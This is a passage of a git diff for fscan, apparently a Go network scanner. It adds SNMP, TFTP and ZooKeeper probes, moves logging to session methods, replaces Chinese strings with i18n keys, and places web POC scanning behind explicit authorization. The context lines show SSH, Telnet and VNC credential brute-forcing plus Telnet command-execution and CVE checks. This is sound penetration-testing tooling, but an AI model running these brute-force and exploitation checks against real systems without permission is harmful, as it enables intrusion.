= asn1.Unmarshal(rest, &version) + if len(rest) == 0 { + return "" + } + // community + var community asn1.RawValue + rest, _ = asn1.Unmarshal(rest, &community) + if len(rest) == 0 { + return "" + } + // PDU (GetResponse = context-specific tag 2) + var pdu asn1.RawValue + if _, err := asn1.Unmarshal(rest, &pdu); err != nil { + return "" + } + + pduRest := pdu.Bytes + // skip requestID, errorStatus, errorIndex + for i := 0; i < 3; i++ { + var skip asn1.RawValue + var err error + pduRest, err = asn1.Unmarshal(pduRest, &skip) + if err != nil || len(pduRest) == 0 { + return "" + } + } + + // varbindList -> varbind -> (oid, value) + var varbindList asn1.RawValue + if _, err := asn1.Unmarshal(pduRest, &varbindList); err != nil { + return "" + } + var varbind asn1.RawValue + if _, err := asn1.Unmarshal(varbindList.Bytes, &varbind); err != nil { + return "" + } + + vbRest := varbind.Bytes + // skip OID + var oidVal asn1.RawValue + vbRest, _ = asn1.Unmarshal(vbRest, &oidVal) + if len(vbRest) == 0 { + return "" + } + + // value + var value asn1.RawValue + if _, err := asn1.Unmarshal(vbRest, &value); err != nil { + return "" + } + + if value.Tag == asn1.TagOctetString || value.Tag == asn1.TagUTF8String { + s := strings.TrimSpace(string(value.Bytes)) + if len(s) > 200 { + s = s[:200] + } + return s + } + return fmt.Sprintf("(type=%d, len=%d)", value.Tag, len(value.Bytes)) +} + +func init() { + RegisterUDPPluginWithPorts("snmp", func() Plugin { + return NewSNMPPlugin() + }, []int{161}) +} diff --git a/plugins/services/ssh.go b/plugins/services/ssh.go index d50b9a0..cc2f81e 100644 --- a/plugins/services/ssh.go +++ b/plugins/services/ssh.go @@ -41,7 +41,7 @@ func (p *SSHPlugin) Scan(ctx context.Context, info *common.HostInfo, session *co // 如果指定了SSH密钥,优先使用密钥认证 if config.Credentials.SSHKeyPath != "" { if result := p.scanWithKey(ctx, info, session); result != nil && result.Success { - common.LogVuln(i18n.Tr("ssh_key_auth_success", target, result.Username)) //nolint:govet + session.LogVuln(i18n.Tr("ssh_key_auth_success", target, result.Username)) //nolint:govet return result } } @@ -71,7 +71,7 @@ func (p *SSHPlugin) Scan(ctx context.Context, info *common.HostInfo, session *co // 记录成功 if result.Success { - common.LogVuln(i18n.Tr("ssh_pwd_auth_success", target, result.Username, result.Password)) //nolint:govet + session.LogVuln(i18n.Tr("ssh_pwd_auth_success", target, result.Username, result.Password)) //nolint:govet } return result @@ -167,11 +167,11 @@ func classifySSHErrorType(err error) ErrorType { // SSH 特有的网络/临时错误(需要重试) sshNetworkErrors := append(CommonNetworkErrors, - "handshake failed", // 握手失败,可能是服务端限流 - "ssh: disconnect", // SSH 主动断开 - "connection closed", // 连接被关闭 - "max startups", // SSH MaxStartups 限制 - "too many authentication", // 认证次数过多 + "handshake failed", // 握手失败,可能是服务端限流 + "ssh: disconnect", // SSH 主动断开 + "connection closed", // 连接被关闭 + "max startups", // SSH MaxStartups 限制 + "too many authentication", // 认证次数过多 ) return ClassifyError(err, sshAuthErrors, sshNetworkErrors) @@ -182,7 +182,7 @@ func (p *SSHPlugin) scanWithKey(ctx context.Context, info *common.HostInfo, sess config := session.Config keyData, err := os.ReadFile(config.Credentials.SSHKeyPath) if err != nil { - common.LogError(i18n.Tr("ssh_key_read_failed", err)) //nolint:govet + session.LogError(i18n.Tr("ssh_key_read_failed", err)) //nolint:govet return nil } @@ -236,7 +236,7 @@ func (p *SSHPlugin) identifyService(ctx context.Context, info *common.HostInfo, defer func() { _ = conn.Close() }() if banner := p.readSSHBanner(conn, session.Config); banner != "" { - common.LogSuccess(i18n.Tr("ssh_service_identified", target, banner)) //nolint:govet + session.LogSuccess(i18n.Tr("ssh_service_identified", target, banner)) //nolint:govet return &ScanResult{ Type: plugins.ResultTypeService, Success: true, @@ -248,7 +248,7 @@ func (p *SSHPlugin) identifyService(ctx context.Context, info *common.HostInfo, return &ScanResult{ Success: false, Service: "ssh", - Error: fmt.Errorf("无法识别为SSH服务"), + Error: fmt.Errorf("%s", i18n.Tr("service_not_identified", "SSH")), } } @@ -268,7 +268,7 @@ func (p *SSHPlugin) readSSHBanner(conn net.Conn, config *common.Config) string { if matched := sshBannerRegex.FindStringSubmatch(bannerStr); len(matched) >= 3 { return fmt.Sprintf("SSH %s (%s)", matched[1], matched[2]) } - return fmt.Sprintf("SSH服务: %s", bannerStr) + return i18n.Tr("ssh_service_banner", bannerStr) } return "" diff --git a/plugins/services/telnet.go b/plugins/services/telnet.go index b131296..d4865cb 100644 --- a/plugins/services/telnet.go +++ b/plugins/services/telnet.go @@ -61,10 +61,10 @@ func (p *TelnetPlugin) Scan(ctx context.Context, info *common.HostInfo, session // 检测未授权访问 if result := p.testUnauthAccess(ctx, info, session); result != nil && result.Success { - common.LogVuln(i18n.Tr("telnet_service", target, result.Banner)) + session.LogVuln(i18n.Tr("telnet_service", target, result.Banner)) // 验证命令执行能力 if ok, osType, evidence := p.verifyCommandExecution(ctx, info, "", "", session); ok { - common.LogVuln(i18n.Tr("telnet_unauth_rce", target, osType, evidence)) + session.LogVuln(i18n.Tr("telnet_unauth_rce", target, osType, evidence)) } return result } @@ -75,7 +75,7 @@ func (p *TelnetPlugin) Scan(ctx context.Context, info *common.HostInfo, session return &ScanResult{ Success: false, Service: "telnet", - Error: fmt.Errorf("没有可用的测试凭据"), + Error: fmt.Errorf("%s", i18n.GetText("service_no_credentials")), } } @@ -97,10 +97,10 @@ func (p *TelnetPlugin) Scan(ctx context.Context, info *common.HostInfo, session result := TestCredentialsConcurrently(ctx, creds, authFn, "telnet", testConfig) if result.Success { - common.LogVuln(i18n.Tr("telnet_credential", target, result.Username, result.Password)) + session.LogVuln(i18n.Tr("telnet_credential", target, result.Username, result.Password)) // 验证命令执行能力 if ok, osType, evidence := p.verifyCommandExecution(ctx, info, result.Username, result.Password, session); ok { - common.LogVuln(i18n.Tr("telnet_credential_rce", target, result.Username, result.Password, osType, evidence)) + session.LogVuln(i18n.Tr("telnet_credential_rce", target, result.Username, result.Password, osType, evidence)) } } @@ -145,7 +145,7 @@ func (p *TelnetPlugin) doTelnetAuth(ctx context.Context, info *common.HostInfo, resultChan <- &AuthResult{ Success: false, ErrorType: ErrorTypeAuth, - Error: fmt.Errorf("认证失败"), + Error: fmt.Errorf("%s", i18n.GetText("service_auth_failed")), } } }() @@ -249,7 +249,7 @@ func (p *TelnetPlugin) testUnauthAccess(ctx context.Context, info *common.HostIn Success: true, Type: plugins.ResultTypeVuln, Service: "telnet", - Banner: "Telnet远程终端服务 (未授权访问)", + Banner: i18n.GetText("telnet_unauth_service"), } return } @@ -541,27 +541,27 @@ func (p *TelnetPlugin) identifyService(ctx context.Context, info *common.HostInf var banner string if p.isShellPrompt(cleaned) { - banner = "Telnet远程终端服务 (未授权访问)" + banner = i18n.GetText("telnet_unauth_service") } else if strings.Contains(cleanedLower, "login") || strings.Contains(cleanedLower, "username") || strings.Contains(cleanedLower, "user") { - banner = "Telnet远程终端服务 (需要认证)" + banner = i18n.GetText("telnet_auth_required") } else if strings.Contains(cleanedLower, "password") { - banner = "Telnet远程终端服务 (只需密码)" + banner = i18n.GetText("telnet_password_only") } else if cleaned != "" { displayCleaned := cleaned if len(displayCleaned) > 50 { displayCleaned = displayCleaned[:50] + "..." } - banner = fmt.Sprintf("Telnet远程终端服务 (自定义欢迎: %s)", displayCleaned) + banner = i18n.Tr("telnet_custom_welcome", displayCleaned) } else { - banner = "Telnet远程终端服务" + banner = i18n.GetText("telnet_remote_terminal_service") } if p.isShellPrompt(cleaned) { - common.LogVuln(i18n.Tr("telnet_service", target, banner)) + session.LogVuln(i18n.Tr("telnet_service", target, banner)) } else { - common.LogSuccess(i18n.Tr("telnet_service", target, banner)) + session.LogSuccess(i18n.Tr("telnet_service", target, banner)) } resultChan <- &ScanResult{ @@ -798,7 +798,7 @@ func (p *TelnetPlugin) checkCVE202624061Concurrent(ctx context.Context, info *co if hit, ok := <-ch; ok { target := info.Target() - common.LogVuln(i18n.Tr("telnet_cve202624061", target, hit.user, hit.evidence)) + session.LogVuln(i18n.Tr("telnet_cve202624061", target, hit.user, hit.evidence)) return &ScanResult{ Success: true, Type: plugins.ResultTypeVuln, diff --git a/plugins/services/tftp.go b/plugins/services/tftp.go new file mode 100644 index 0000000..6c02567 --- /dev/null +++ b/plugins/services/tftp.go @@ -0,0 +1,95 @@ +//go:build plugin_tftp || !plugin_selective + +package services + +import ( + "context" + "fmt" + "strings" + "time" + + "github.com/shadow1ng/fscan/common" + "github.com/shadow1ng/fscan/plugins" +) + +type TFTPPlugin struct { + plugins.BasePlugin +} + +func NewTFTPPlugin() *TFTPPlugin { + return &TFTPPlugin{BasePlugin: plugins.NewBasePlugin("tftp")} +} + +func (p *TFTPPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { + timeout := session.Config.Timeout + if timeout <= 0 { + timeout = 3 * time.Second + } + + target := info.Target() + conn, err := session.DialUDP(ctx, target, timeout) + if err != nil { + return &ScanResult{Success: false, Service: "tftp"} + } + defer conn.Close() + + if _, err := conn.Write(buildTFTPReadRequest("probe")); err != nil { + return &ScanResult{Success: false, Service: "tftp"} + } + + buf := make([]byte, 516) + n, err := conn.Read(buf) + if err != nil || n < 4 { + return &ScanResult{Success: false, Service: "tftp"} + } + + banner, ok := parseTFTPResponse(buf[:n]) + if !ok { + return &ScanResult{Success: false, Service: "tftp"} + } + + return &ScanResult{ + Success: true, + Type: plugins.ResultTypeService, + Service: "tftp", + Banner: banner, + } +} + +func buildTFTPReadRequest(filename string) []byte { + req := []byte{0x00, 0x01} + req = append(req, filename...) + req = append(req, 0x00) + req = append(req, "octet"...) + req = append(req, 0x00) + return req +} + +func parseTFTPResponse(data []byte) (string, bool) { + if len(data) < 4 || data[0] != 0x00 { + return "", false + } + + opcode := data[1] + switch opcode { + case 0x03: + return "TFTP DATA response", true + case 0x05: + msg := strings.TrimRight(string(data[4:]), "\x00") + if len(msg) > 160 { + msg = msg[:160] + } + if msg == "" { + msg = "error response" + } + return fmt.Sprintf("TFTP %s", msg), true + default: + return "", false + } +} + +func init() { + RegisterUDPPluginWithPorts("tftp", func() Plugin { + return NewTFTPPlugin() + }, []int{69}) +} diff --git a/plugins/services/tftp_test.go b/plugins/services/tftp_test.go new file mode 100644 index 0000000..f50faa5 --- /dev/null +++ b/plugins/services/tftp_test.go @@ -0,0 +1,21 @@ +//go:build plugin_tftp || !plugin_selective + +package services + +import ( + "strings" + "testing" +) + +func TestTFTPReadRequestAndResponse(t *testing.T) { + req := buildTFTPReadRequest("probe") + want := []byte{0x00, 0x01, 'p', 'r', 'o', 'b', 'e', 0x00, 'o', 'c', 't', 'e', 't', 0x00} + if string(req) != string(want) { + t.Fatalf("unexpected tftp request: %#v", req) + } + + banner, ok := parseTFTPResponse([]byte{0x00, 0x05, 0x00, 0x01, 'n', 'o', 't', ' ', 'f', 'o', 'u', 'n', 'd', 0x00}) + if !ok || !strings.Contains(banner, "not found") { + t.Fatalf("unexpected tftp banner: %q ok=%v", banner, ok) + } +} diff --git a/plugins/services/types.go b/plugins/services/types.go index a3b1afb..c89d164 100644 --- a/plugins/services/types.go +++ b/plugins/services/types.go @@ -25,4 +25,11 @@ func RegisterPluginWithPorts(name string, factory func() Plugin, ports []int) { }, ports) } +// RegisterUDPPluginWithPorts 注册UDP协议插件 +func RegisterUDPPluginWithPorts(name string, factory func() Plugin, ports []int) { + plugins.RegisterUDPWithPorts(name, func() plugins.Plugin { + return factory() + }, ports) +} + var GenerateCredentials = plugins.GenerateCredentials diff --git a/plugins/services/vnc.go b/plugins/services/vnc.go index 2914632..d8683fd 100644 --- a/plugins/services/vnc.go +++ b/plugins/services/vnc.go @@ -30,7 +30,7 @@ func (p *VNCPlugin) Scan(ctx context.Context, info *common.HostInfo, session *co // 检查未授权访问 if result := p.testUnauthAccess(ctx, info, session); result != nil && result.Success { - common.LogVuln(i18n.Tr("vnc_unauth", target)) + session.LogVuln(i18n.Tr("vnc_unauth", target)) return result } @@ -54,7 +54,7 @@ func (p *VNCPlugin) Scan(ctx context.Context, info *common.HostInfo, session *co result := TestCredentialsConcurrently(ctx, credentials, authFn, "vnc", testConfig) if result.Success { - common.LogVuln(i18n.Tr("vnc_credential", target, result.Password)) + session.LogVuln(i18n.Tr("vnc_credential", target, result.Password)) } return result @@ -182,7 +182,7 @@ func (p *VNCPlugin) testUnauthAccess(ctx context.Context, info *common.HostInfo, Type: plugins.ResultTypeVuln, Success: true, Service: "vnc", - Banner: "未授权访问", + Banner: i18n.GetText("service_unauthorized"), } } diff --git a/plugins/services/zookeeper.go b/plugins/services/zookeeper.go new file mode 100644 index 0000000..ab2f8a3 --- /dev/null +++ b/plugins/services/zookeeper.go @@ -0,0 +1,79 @@ +//go:build plugin_zookeeper || !plugin_selective + +package services + +import ( + "context" + "strings" + "time" + + "github.com/shadow1ng/fscan/common" + "github.com/shadow1ng/fscan/plugins" +) + +type ZooKeeperPlugin struct { + plugins.BasePlugin +} + +func NewZooKeeperPlugin() *ZooKeeperPlugin { + return &ZooKeeperPlugin{BasePlugin: plugins.NewBasePlugin("zookeeper")} +} + +func (p *ZooKeeperPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { + timeout := session.Config.Timeout + if timeout <= 0 { + timeout = 3 * time.Second + } + + addr := info.Target() + conn, err := session.DialTCP(ctx, "tcp", addr, timeout) + if err != nil { + return &ScanResult{Success: false, Service: "zookeeper"} + } + defer conn.Close() + + _ = conn.SetDeadline(time.Now().Add(timeout)) + if _, err := conn.Write([]byte("ruok")); err != nil { + return &ScanResult{Success: false, Service: "zookeeper"} + } + + buf := make([]byte, 512) + n, err := conn.Read(buf) + if err != nil || n == 0 { + return &ScanResult{Success: false, Service: "zookeeper"} + } + + banner, ok := parseZooKeeperResponse(buf[:n]) + if !ok { + return &ScanResult{Success: false, Service: "zookeeper"} + } + + return &ScanResult{ + Success: true, + Type: plugins.ResultTypeService, + Service: "zookeeper", + Banner: banner, + } +} + +func parseZooKeeperResponse(data []byte) (string, bool) { + resp := strings.TrimSpace(string(data)) + if resp == "imok" { + return "ZooKeeper ruok=imok", true + } + lower := strings.ToLower(resp) + if strings.Contains(lower, "zookeeper") || strings.Contains(lower, "zk_version") || + strings.Contains(lower, "mode:") || strings.Contains(lower, "not in the whitelist") { + if len(resp) > 200 { + resp = resp[:200] + } + return resp, true + } + return "", false +} + +func init() { + RegisterPluginWithPorts("zookeeper", func() Plugin { + return NewZooKeeperPlugin() + }, []int{2181}) +} diff --git a/plugins/services/zookeeper_test.go b/plugins/services/zookeeper_test.go new file mode 100644 index 0000000..a8cd9c2 --- /dev/null +++ b/plugins/services/zookeeper_test.go @@ -0,0 +1,16 @@ +//go:build plugin_zookeeper || !plugin_selective + +package services + +import "testing" + +func TestParseZooKeeperResponse(t *testing.T) { + banner, ok := parseZooKeeperResponse([]byte("imok")) + if !ok || banner != "ZooKeeper ruok=imok" { + t.Fatalf("unexpected zookeeper banner: %q ok=%v", banner, ok) + } + + if _, ok := parseZooKeeperResponse([]byte("hello")); ok { + t.Fatal("unexpected match for non-zookeeper response") + } +} diff --git a/plugins/web/types.go b/plugins/web/types.go index 7882ec4..483743b 100644 --- a/plugins/web/types.go +++ b/plugins/web/types.go @@ -22,3 +22,10 @@ func RegisterWebPlugin(name string, creator func() WebPlugin) { return creator() }, []int{}, []string{plugins.PluginTypeWeb}) } + +// RegisterUnsafeWebPlugin 注册需要显式授权的主动Web插件。 +func RegisterUnsafeWebPlugin(name string, creator func() WebPlugin) { + plugins.RegisterUnsafeWithTypes(name, func() plugins.Plugin { + return creator() + }, []int{}, []string{plugins.PluginTypeWeb}) +} diff --git a/plugins/web/webpoc.go b/plugins/web/webpoc.go index 3b43e0b..e266843 100644 --- a/plugins/web/webpoc.go +++ b/plugins/web/webpoc.go @@ -8,6 +8,7 @@ import ( "strings" "github.com/shadow1ng/fscan/common" + "github.com/shadow1ng/fscan/common/i18n" "github.com/shadow1ng/fscan/plugins" WebScan "github.com/shadow1ng/fscan/webscan" ) @@ -92,7 +93,7 @@ func (p *WebPocPlugin) Scan(ctx context.Context, info *common.HostInfo, session if config.POC.Disabled { return &WebScanResult{ Success: false, - Error: fmt.Errorf("POC扫描已禁用"), + Error: fmt.Errorf("%s", i18n.GetText("webpoc_disabled")), } } @@ -106,8 +107,8 @@ func (p *WebPocPlugin) Scan(ctx context.Context, info *common.HostInfo, session // 全量模式:忽略指纹和CDN/WAF检测,直接扫描所有POC target := info.Target() - common.LogDebug(fmt.Sprintf("WebPOC %s 全量扫描模式", target)) - WebScan.WebScan(ctx, info, config) + session.LogDebug(i18n.Tr("webpoc_full_scan_mode", target)) + WebScan.WebScan(ctx, info, config, session) return &WebScanResult{ Type: plugins.ResultTypeWeb, @@ -130,7 +131,7 @@ func matchCDNorWAF(fingerprints []string) string { // init 自动注册插件 func init() { - RegisterWebPlugin("webpoc", func() WebPlugin { + RegisterUnsafeWebPlugin("webpoc", func() WebPlugin { return NewWebPocPlugin() }) } diff --git a/plugins/web/webtitle.go b/plugins/web/webtitle.go index 8b24692..4a4ab0a 100644 --- a/plugins/web/webtitle.go +++ b/plugins/web/webtitle.go @@ -13,6 +13,7 @@ import ( "unicode/utf8" "github.com/shadow1ng/fscan/common" + "github.com/shadow1ng/fscan/common/i18n" "github.com/shadow1ng/fscan/core" "github.com/shadow1ng/fscan/plugins" WebScan "github.com/shadow1ng/fscan/webscan" @@ -64,9 +65,9 @@ func (p *WebTitlePlugin) Scan(ctx context.Context, info *common.HostInfo, sessio // 有指纹用绿色,无指纹用白色 if len(fingerprints) > 0 { - common.LogSuccess(msg) + session.LogSuccess(msg) } else { - common.LogInfo(msg) + session.LogInfo(msg) } return &WebScanResult{ @@ -82,15 +83,29 @@ func (p *WebTitlePlugin) Scan(ctx context.Context, info *common.HostInfo, sessio func (p *WebTitlePlugin) getWebTitle(ctx context.Context, info *common.HostInfo, config *common.Config, session *common.ScanSession) (string, int, int, string, []string, string, error) { // 智能协议检测 - protocol := p.detectProtocol(info, config, session) - baseURL := fmt.Sprintf("%s://%s:%d", protocol, info.Host, info.Port) + protocol := p.detectProtocol(ctx, info, config, session) + isGM := false + urlScheme := protocol + if protocol == "https-gm" { + isGM = true + urlScheme = "https" // 国密连接仍使用 https URL 格式 + } + baseURL := fmt.Sprintf("%s://%s:%d", urlScheme, info.Host, info.Port) + + // 选择对应的 HTTP 客户端 + clientNR, clientR := lib.ClientNoRedirect, lib.Client + if isGM { + clientNR, clientR = lib.ClientNoRedirectGM, lib.ClientGM + } // 构建显示用URL(隐藏标准端口) var displayURL string - if (protocol == "https" && info.Port == 443) || (protocol == "http" && info.Port == 80) { + if isGM && info.Port == 443 { + displayURL = fmt.Sprintf("%s://%s", protocol, info.Host) + } else if (protocol == "https" && info.Port == 443) || (protocol == "http" && info.Port == 80) { displayURL = fmt.Sprintf("%s://%s", protocol, info.Host) } else { - displayURL = baseURL + displayURL = fmt.Sprintf("%s://%s:%d", protocol, info.Host, info.Port) } req, err := http.NewRequestWithContext(ctx, "GET", baseURL, nil) @@ -101,7 +116,7 @@ func (p *WebTitlePlugin) getWebTitle(ctx context.Context, info *common.HostInfo, req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36") // 先使用不跟随重定向的Client获取原始响应 - resp, err := lib.ClientNoRedirect.Do(req) + resp, err := clientNR.Do(req) if err != nil { return "", 0, 0, "", nil, displayURL, err } @@ -109,7 +124,7 @@ func (p *WebTitlePlugin) getWebTitle(ctx context.Context, info *common.HostInfo, body, err := io.ReadAll(resp.Body) _ = resp.Body.Close() contentLen := len(body) - if contentLen <= 0 && err != nil { + if err != nil { return "", resp.StatusCode, 0, resp.Header.Get("Server"), nil, displayURL, err } @@ -118,7 +133,7 @@ func (p *WebTitlePlugin) getWebTitle(ctx context.Context, info *common.HostInfo, checkDataList = append(checkDataList, WebScan.CheckDatas{ Body: body, Headers: p.formatHeaders(resp.Header), - Favicon: p.fetchFaviconHash(baseURL), + Favicon: p.fetchFaviconHash(ctx, baseURL), }) title := p.extractTitle(string(body)) @@ -136,17 +151,16 @@ func (p *WebTitlePlugin) getWebTitle(ctx context.Context, info *common.HostInfo, reqRedirect, err := http.NewRequestWithContext(ctx, "GET", redirectURL, nil) if err == nil { reqRedirect.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36") - respRedirect, err := lib.Client.Do(reqRedirect) + respRedirect, err := clientR.Do(reqRedirect) if err == nil { - bodyRedirect, _ := io.ReadAll(respRedirect.Body) + bodyRedirect, err := io.ReadAll(respRedirect.Body) _ = respRedirect.Body.Close() - - if len(bodyRedirect) > 0 { + if err == nil && len(bodyRedirect) > 0 { // 添加跳转后页面的指纹数据 checkDataList = append(checkDataList, WebScan.CheckDatas{ Body: bodyRedirect, Headers: p.formatHeaders(respRedirect.Header), - Favicon: p.fetchFaviconHash(redirectURL), + Favicon: p.fetchFaviconHash(ctx, redirectURL), }) // 如果原始页面没有标题,使用跳转后页面的标题 @@ -161,7 +175,7 @@ func (p *WebTitlePlugin) getWebTitle(ctx context.Context, info *common.HostInfo, } // 执行指纹识别(合并原始响应和跳转后响应的指纹) - fingerprints := p.identifyFingerprintsMulti(ctx, info, baseURL, checkDataList, config) + fingerprints := p.identifyFingerprintsMulti(ctx, info, baseURL, checkDataList, config, session) return title, statusCode, contentLen, server, fingerprints, displayURL, nil } @@ -190,38 +204,38 @@ func (p *WebTitlePlugin) resolveRedirectURL(baseURL, location string) string { } // identifyFingerprintsMulti 识别多个响应的指纹并合并 -func (p *WebTitlePlugin) identifyFingerprintsMulti(ctx context.Context, info *common.HostInfo, baseURL string, checkDataList []WebScan.CheckDatas, config *common.Config) []string { +func (p *WebTitlePlugin) identifyFingerprintsMulti(ctx context.Context, info *common.HostInfo, baseURL string, checkDataList []WebScan.CheckDatas, config *common.Config, session *common.ScanSession) []string { // 调用指纹识别 fingerprints := WebScan.InfoCheck(baseURL, &checkDataList) // 非全量模式下,基于指纹触发POC扫描 if !config.POC.Full && !config.POC.Disabled { - p.triggerPocScan(ctx, info, fingerprints, config) + p.triggerPocScan(ctx, info, fingerprints, config, session) } return fingerprints } // triggerPocScan 基于指纹触发POC扫描 -func (p *WebTitlePlugin) triggerPocScan(ctx context.Context, info *common.HostInfo, fingerprints []string, config *common.Config) { +func (p *WebTitlePlugin) triggerPocScan(ctx context.Context, info *common.HostInfo, fingerprints []string, config *common.Config, session *common.ScanSession) { target := info.Target() // 无指纹,跳过 if len(fingerprints) == 0 { - common.LogDebug(fmt.Sprintf("WebTitle %s 无匹配指纹,跳过POC扫描", target)) + session.LogDebug(i18n.Tr("webtitle_no_fingerprint_skip_poc", target)) return } // 检测CDN/WAF if cdnName := matchCDNorWAF(fingerprints); cdnName != "" { - common.LogDebug(fmt.Sprintf("WebTitle %s 检测到%s,跳过POC扫描", target, cdnName)) + session.LogDebug(i18n.Tr("webtitle_cdn_waf_skip_poc", target, cdnName)) return } // 基于指纹执行POC扫描 - common.LogDebug(fmt.Sprintf("WebTitle %s 触发指纹POC扫描: %v", target, fingerprints)) + session.LogDebug(i18n.Tr("webtitle_trigger_fingerprint_poc", target, fingerprints)) info.Info = fingerprints - WebScan.WebScan(ctx, info, config) + WebScan.WebScan(ctx, info, config, session) } // formatHeaders 将 HTTP Header 格式化为字符串 @@ -229,14 +243,14 @@ func (p *WebTitlePlugin) formatHeaders(headers http.Header) string { var builder strings.Builder for name, values := range headers { for _, value := range values { - builder.WriteString(fmt.Sprintf("%s: %s\n", name, value)) + fmt.Fprintf(&builder, "%s: %s\n", name, value) } } return builder.String() } // detectProtocol 智能检测HTTP/HTTPS协议(基于服务识别和主动探测) -func (p *WebTitlePlugin) detectProtocol(info *common.HostInfo, config *common.Config, session *common.ScanSession) string { +func (p *WebTitlePlugin) detectProtocol(ctx context.Context, info *common.HostInfo, config *common.Config, session *common.ScanSession) string { host := info.Host port := info.Port @@ -251,7 +265,7 @@ func (p *WebTitlePlugin) detectProtocol(info *common.HostInfo, config *common.Co // 第二优先级:基于服务名称特征判断(仅限服务识别阶段确定的https/ssl/tls) // 注意:普通的"http"服务名不直接返回,因为可能是-u模式默认添加的协议 serviceName := strings.ToLower(serviceInfo.Name) - if common.ContainsAny(serviceName, "https", "ssl", "tls") { + if common.ContainsAny(serviceName, "https-gm", "https", "ssl", "tls") { // 缓存协议信息到Extras if serviceInfo.Extras == nil { serviceInfo.Extras = make(map[string]string) @@ -263,7 +277,7 @@ func (p *WebTitlePlugin) detectProtocol(info *common.HostInfo, config *common.Co // 第三优先级:主动协议检测(TLS握手) // 对于-u模式或服务名为普通"http"的情况,进行主动检测确认 - detected := core.DetectHTTPScheme(host, port, config, session) + detected := core.DetectHTTPSchemeContext(ctx, host, port, config, session) if detected != "" { // 缓存检测结果(避免重复检测) if exists { @@ -299,7 +313,7 @@ func (p *WebTitlePlugin) extractTitle(html string) string { } // fetchFaviconHash 下载 favicon.ico 并计算 hash -func (p *WebTitlePlugin) fetchFaviconHash(baseURL string) fingerprint.FaviconHashes { +func (p *WebTitlePlugin) fetchFaviconHash(ctx context.Context, baseURL string) fingerprint.FaviconHashes { // 构造 favicon URL u, err := url.Parse(baseURL) if err != nil { @@ -308,7 +322,7 @@ func (p *WebTitlePlugin) fetchFaviconHash(baseURL string) fingerprint.FaviconHas faviconURL := fmt.Sprintf("%s://%s/favicon.ico", u.Scheme, u.Host) // 请求 favicon - req, err := http.NewRequest("GET", faviconURL, nil) + req, err := http.NewRequestWithContext(ctx, "GET", faviconURL, nil) if err != nil { return fingerprint.FaviconHashes{} } diff --git a/plugins/web/webtitle_test.go b/plugins/web/webtitle_test.go new file mode 100644 index 0000000..cef33dd --- /dev/null +++ b/plugins/web/webtitle_test.go @@ -0,0 +1,37 @@ +package web + +import ( + "context" + "net/http" + "testing" + + "github.com/shadow1ng/fscan/webscan/lib" +) + +type faviconRoundTripper struct { + called bool +} + +func (rt *faviconRoundTripper) RoundTrip(req *http.Request) (*http.Response, error) { + rt.called = true + <-req.Context().Done() + return nil, req.Context().Err() +} + +func TestFetchFaviconHashHonorsContext(t *testing.T) { + previous := lib.Client + rt := &faviconRoundTripper{} + lib.Client = &http.Client{Transport: rt} + defer func() { lib.Client = previous }() + + ctx, cancel := context.WithCancel(context.Background()) + cancel() + + hashes := NewWebTitlePlugin().fetchFaviconHash(ctx, "http://example.com") + if !rt.called { + t.Fatal("favicon client was not called") + } + if len(hashes.MMH3) != 0 || len(hashes.MD5) != 0 { + t.Fatalf("fetchFaviconHash returned hashes for canceled context: %#v", hashes) + } +} diff --git a/tools/perftest/perftest.go b/tools/perftest/perftest.go index 0afb9f3..491d097 100644 --- a/tools/perftest/perftest.go +++ b/tools/perftest/perftest.go @@ -22,32 +22,32 @@ type Result struct { } func main() { - target := flag.String("target", "", "扫描目标 (如 192.168.1.0/24)") - ports := flag.String("ports", "22,80,443,3389,8080", "端口列表") - threads := flag.String("threads", "100,200,400,600,800,1000", "线程数列表,逗号分隔") - repeat := flag.Int("repeat", 3, "每个线程数重复次数") - output := flag.String("o", "perf_results.csv", "输出CSV文件") + target := flag.String("target", "", "scan target, e.g. 192.168.1.0/24") + ports := flag.String("ports", "22,80,443,3389,8080", "port list") + threads := flag.String("threads", "100,200,400,600,800,1000", "comma-separated thread counts") + repeat := flag.Int("repeat", 3, "repeat count for each thread count") + output := flag.String("o", "perf_results.csv", "output CSV file") flag.Parse() if *target == "" { - fmt.Println("用法: perftest -target 192.168.1.0/24 [-ports 22,80,443] [-threads 100,200,400]") + fmt.Println("Usage: perftest -target 192.168.1.0/24 [-ports 22,80,443] [-threads 100,200,400]") os.Exit(1) } threadList := parseIntList(*threads) results := []Result{} - fmt.Printf("=== fscan 可扩展性测试 ===\n") - fmt.Printf("目标: %s\n", *target) - fmt.Printf("端口: %s\n", *ports) - fmt.Printf("线程数: %v\n", threadList) - fmt.Printf("重复次数: %d\n\n", *repeat) + fmt.Printf("=== fscan scalability test ===\n") + fmt.Printf("Target: %s\n", *target) + fmt.Printf("Ports: %s\n", *ports) + fmt.Printf("Threads: %v\n", threadList) + fmt.Printf("Repeats: %d\n\n", *repeat) for _, t := range threadList { var totalDuration float64 var totalRate float64 - fmt.Printf("[线程=%d] ", t) + fmt.Printf("[threads=%d] ", t) for i := 0; i < *repeat; i++ { fmt.Printf(".") duration, rate := runFscan(*target, *ports, t) @@ -63,11 +63,11 @@ func main() { Duration: avgDuration, PortsRate: avgRate, }) - fmt.Printf(" 平均: %.2fs, %.1f ports/sec\n", avgDuration, avgRate) + fmt.Printf(" average: %.2fs, %.1f ports/sec\n", avgDuration, avgRate) } writeCSV(*output, results) - fmt.Printf("\n结果已保存到: %s\n", *output) + fmt.Printf("\nResults saved to: %s\n", *output) printPlotCommand(*output) } @@ -94,8 +94,8 @@ func runFscan(target, ports string, threads int) (duration float64, rate float64 } func extractPortCount(output, target, ports string) int { - // 尝试从 "扫描完成" 行提取 - re := regexp.MustCompile(`扫描完成.*?(\d+).*?端口`) + // Try to parse either Chinese or English fscan completion output. + re := regexp.MustCompile(`(?:\x{626b}\x{63cf}\x{5b8c}\x{6210}|Scan Completed).*?(\d+).*?(?:\x{7aef}\x{53e3}|ports?)`) if matches := re.FindStringSubmatch(output); len(matches) > 1 { count, _ := strconv.Atoi(matches[1]) return count @@ -131,7 +131,7 @@ func parseIntList(s string) []int { func writeCSV(filename string, results []Result) { f, err := os.Create(filename) if err != nil { - fmt.Printf("无法创建文件: %v\n", err) + fmt.Printf("Failed to create file: %v\n", err) return } defer func() { _ = f.Close() }() @@ -149,7 +149,7 @@ func writeCSV(filename string, results 